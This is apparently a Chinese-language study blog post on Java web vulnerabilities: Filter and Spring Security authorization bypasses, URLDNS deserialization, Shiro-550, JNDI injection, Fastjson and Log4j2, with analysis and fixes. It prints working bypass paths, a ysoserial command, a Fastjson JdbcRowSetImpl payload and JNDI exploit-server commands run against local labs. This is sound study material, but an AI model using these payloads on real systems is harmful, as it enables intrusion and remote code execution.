25-java权限绕过&反序列化漏洞

1、复习Filter权限绕过、SpringSecurity权限绕过漏洞原理

Filter权限绕过

概述:Filter用于权限校验时,若路径处理不当(如未标准化URI、未处理特殊字符等),攻击者可构造特殊请求绕过权限检查,访问受限资源。

  • 常见绕过方式及原理

    1. 目录遍历(../绕过)

      • 原理:Filter未对URI进行标准化处理。攻击者构造../返回上级目录,使URI匹配白名单路径。
      • 示例:
        payload:/system/login/../../admin/main.do
        • Filter认为路径以/system/login开头,放行。
        • 实际解析后路径为admin/main.do,绕过权限校验。
    2. 分号截断(;绕过)

      • 原理:;在URL中为保留字符,用于参数分割。Filter仅检查.do结尾,忽略分号后内容。
      • 示例:
        payload:/admin/main.do;123
        • Filter检查url不是以 .do 结尾放行。
        • 分号后的123 作为无效参数不会对原地址有任何影响,绕过权限校验,
    3. 多斜杠绕过(//

      • 原理:多加⼀个 / 并不影响正常解析,而又能让该规则匹配不到,成功绕过。
        • 示例:
          payload://system//UserInfoSearch.do
          • 服务器解析为/system/UserInfoSearch.do,但Filter未匹配到原始路径。
    4. URL编码绕过

      • 原理:Filter未解码URI直接校验,服务器解码后访问目标路径。
      • 示例:
        payload:/system/%55%73%65%72%49%6e%66%6f%53%65%61%72%63%68%2e%64%6f(解码后为/system/UserInfoSearch.do
        • Filter因未解码无法识别真实路径,放行请求。
    5. Spring MVC追加斜杠

      • 原理:Spring MVC自动去除尾部/,但Filter未处理导致绕过。
      • 示例:
        payload:/admin/main.do/
        • Spring 匹配/admin/main.do,Filter检查时末尾含斜杠,不符合规则实现绕过。
    • 修复方式

      • 路径规范化处理(使用getServletPath()代替getRequestURI()

        String path = request.getServletPath() + (request.getPathInfo() != null ? request.getPathInfo() : "");
        

SpringSecurity权限绕过

  1. antMatchers 配置不当权限绕过

    • 原理:antMatchers 使用 Ant 风格路径匹配(** 匹配多级目录)。若配置为 /admin 而非 /admin/**,无法覆盖子路径(如 /admin/)。

    • 示例代码:

      .antMatchers("/admin").access("hasRole('ADMIN')")
      
    • 绕过方式:访问 /admin/ (尾部添加斜杠)

    • 修复:使用 /admin/**mvcMatchers("/admin")

  2. regexMatchers 配置不当权限绕过

    • 原理:正则表达式未严格限制路径结尾(如 /admin.*? )。

    • 示例代码:

      .regexMatchers("/admin").access("hasRole('ADMIN')")
      
    • 绕过方式:通过 /admin?/admin/ 绕过。

    • 修复:将正则写完整(/admin.*?")

  3. 低版本 useSuffixPatternMatch 权限绕过

    • 原理:当 spring-webmvc ≤ 4.3.25(springboot ≤ 1.5.22.RELEASE)时,默认启用后缀匹配( suffixPatternMatch 默认为 True/hello 匹配 /hello.*)。

    • 示例代码:

      .antMatchers("/admin/**").access("hasRole('ADMIN')")
      
    • 绕过方式:访问 /admin./admin.xxx

    • 修复:升级版本(Spring Boot ≥1.5.23)。

  4. CVE-2022-22978(regexMatchers 正则绕过)

    • 影响版本:Spring Security 5.6.x <5.6.4 ; 5.5.x <5.5.7 ; 5.4.x <5.4.11

    • 原理:正则未正确处理换行符(如 %0a/%0d

    • 绕过方式:构造 /admin%0a/admin%0d

    • 修复:更新至安全版本。

  5. CVE-2022-31692(forward & include 转发绕过)

    • 原理:低权限路由通过转发(forward/include)调用高权限端点。

    • 示例:

      @GetMapping("/public")
      public String publicPage() {
          return "forward:/admin";
      }
      
    • 修复:避免低权限接口直接转发到高权限端点

  6. CVE-2023-34034(WebFlux 路径匹配不一致)

    • 影响版本:

      Spring Security

      • 6.1.0 - 6.1.1

      • 6.0.0 - 6.0.4

      • 5.8.0 - 5.8.4

      • 5.7.0 - 5.7.9

      • 5.6.0 - 5.6.11

    • 原理:WebFlux使用**作为匹配会导致Spring SecuritySpring WebFlux之间的模式匹配不⼀致,并可能导致安全绕过。

    • 示例代码:

      .antMatchers("admin/**").access("hasRole('ADMIN')")
      

      antMatchers("admin/**") 未以 / 开头,导致与 WebFlux 匹配规则冲突。

    • 修复:写规则的路径以 / 开头(如 /admin/**)。

2、分析研究java反序列化漏洞原理并详细分析URLDNS链触发过程

Java反序列化漏洞原理分析
  • 基本概念

    • 序列化:将Java对象转换为字节流(用于存储/传输)ObjectOutputStream.writeObject()

    • 反序列化:将字节流恢复为Java对象 ObjectInputStream.readObject()

    • 漏洞本质:攻击者通过构造恶意序列化数据,利用反序列化时自动调用的方法链(Gadget Chains)执行任意代码。

  • 关键特征

    • 被反序列化的类必须实现Serializable接口
    • 存在危险方法(如Runtime.exec())的调用链路
    • 存在可被控制的触发点(如重写readObject()方法)
URLDNS链触发过程

先使用dnslog用成⼀个域名,然后用ysoserial生成URLDNS链:

java -jar ysoserial-all.jar URLDNS http://b58uwm.dnslog.cn > urldns.bin

urldns.bin 文件进行反序列化,成功收到dns请求记录

image-20250314140036072

  • 分析调试

    1. 忽略不必要函数调用,进入HashMapreadObject方法

      序列化的HashMap对象在反序列化时会调用其readObject()方法,HashMap会对所有键(Key)调用hash(key)方法计算哈希值。

      image-20250314143019077

    2. 调用URL的hashCode方法

      image-20250314143416897

      hashcode方法中,如果hashcode值不为-1,则直接返回,当为-1时,进入类对象的Handler方法

      image-20250314144637220

    3. URLStreamHandler的处理

      handler.hashCode()内部又调用getHostAddress(url)解析域名

      image-20250314145049857

    4. DNS查询触发

      getHostAddress函数内部又调用了InetAddress.getByName()根据 url 获取对应的 ip ,因此会触发dns查询

      image-20250314145743941

3、使用shirl_tool工具对shiro-550漏洞进行攻击并分析漏洞原理

环境搭建(Shiro <= 1.2.4):

  1. 下载官方源码

  2. 切换分支到shiro-root-1.2.4

  3. 使用 idea 打开samples/web目录,加载项目

  4. 使用高版本tomcat会出现不兼容问题,无法启动,推荐使用 tomcat 8作为web容器进行debug

  • 漏洞复现

    直接使用 shiro反序列利用工具 复现

    java -jar shiro_tool.jar http://localhost:8080/shirodemo_war_exploded/login.jsp
    

    image-20250314153118926

  • 漏洞分析

    • 漏洞流程

      使用了 Shiro 框架的 Web 应用,登录成功后的用户信息会加密存储在 Cookie 中,后续可以从 Cookie中读取用户认证信息,从而达到“记住我”的目的,简要流程如下:

      rememberMe cookie的生成: 用户身份信息序列化 > AES加密 > base64编码 > 存储到cookie中的rememberMe 字段

      rememberMe cookie的读取: 读取cookie中的rememberMe 字段 > base64解码> AES解密 > 用户身份信息反序列化

    • 漏洞成因

      • 硬编码 AES 密钥 :AES密钥一直为默认值,攻击者可轻易获取
      • 不安全的反序列化:Shiro 解密 Cookie 数据后,直接调用 Java ObjectInputStream 进行反序列化,未对数据来源进行合法性校验。

4、JNDI注入漏洞原理分析复习

  • 漏洞复现

    准备如下文件:

    • Client.java

      image-20250314163442817

    • Server.java

      image-20250314163327330

      上述代码:主要是将/EvalObj这个路径绑定到一个Reference上,其中Reference的构造函数第一个参数是className,第二个参数是classFactory,第三个参数是classFactoryLocation ,当目标不在className类时,会根据classFactory加载,即访问http://127.0.0.1:1002/Exploit.class

    • Exploit.java

      image-20250314163932267

    开始复现:

    1. 将Exploit.java编译:

      javac Exploit.java
      
    2. 进入Exploit.class所在的目录,并使用python 搭建http服务并监听1002

      python -m http.server --bind 0.0.0.0 1002
      

      访问 http://127.0.0.1:1002/Exploit.class 测试是否能获取到请求的Exploit.class类,成功如下所示:

      image-20250314165401604

    3. 启动server服务后,运行client,即可触发漏洞

      image-20250314165653848

  • 漏洞分析

    1. 标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
    2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server/name
    3. 攻击者RMI服务器向目标返回⼀个Reference对象,Reference对象中指定某个精心构造的Factory类;
    4. 目标在进行lookup()操作时,会先查找本地是否存在,不存在的话则根据Reference对象信息动态加载并实例化Factory类,接着调用factory对象的getObjectInstance()方法获取外部远程对象实例
    5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

5、Fastjson 反序列化漏洞复习

概述:Fastjson 通过 JSON.parseObject()JSON.parse() 反序列化 JSON 时,若字符串包含 @type,会自动实例化指定类,并执行其 setter 和 getter 方法,最终转换为 JSONObject。如果类中存在可利用的调用链,@type 可能被用于恶意攻击。

目前主要存在三种利用方式:JNDI注入、TemplatesImpl 加载字节码、BCEL加载字节码,下面以JNDI注入为例:

环境:Fastjson1.2.24版本、使用了JSON.parse()JSON.parseObject()函数,函数参数可控。

  • 漏洞复现

    1. 启动恶意的服务

      java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc
      

      image-20250314181321029

    2. 发送如下payload

      {
       "@type":"com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName":"ldap://127.0.0.1:1389/zw57uv",
       "autoCommit":true
      }
      

      测试,成功RCE

      image-20250314181852736

  • 漏洞分析

    1. 漏洞点在 com.sun.rowset.JdbcRowSetImpl ,其存在的setAutoCommit方法,调用了this.connect()
    2. 跟进this.connect()方法,其调用了var1.lookup()方法。
    3. 跟进var1.lookup(),即javax.naming.InitialContext#lookup(),很明显的JNDI注入,而name参数则是由从成员变量 dataSource 中获取。
    4. dataSource又由我们可控,即可在此处传入恶意代码,达到RCE的效果。

6、log4j2 jndi注入漏洞复习

概述:Apache Log4j2 的漏洞是由于其lookup功能没有对输入进行严格验证,允许恶意攻击者通过注入恶意class文件执行任意命令。

环境:Log4j 版本:2.x ≤ 2.14.1

  • 漏洞复现

    1. 使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 启动恶意的服务

    2. 执行,成功RCE

      image-20250314191151413

  • 漏洞分析

    Log4j2在处理日志消息时,如果日志内容包含类似${jndi:ldap:/攻击者服务器/恶意代码}这样的表达式,就会执行JNDI查找,从而加载远程的恶意类,实现RCE。

posted @ 2025-03-14 19:34  荔枝在敲诈  阅读(476)  评论(0)    收藏  举报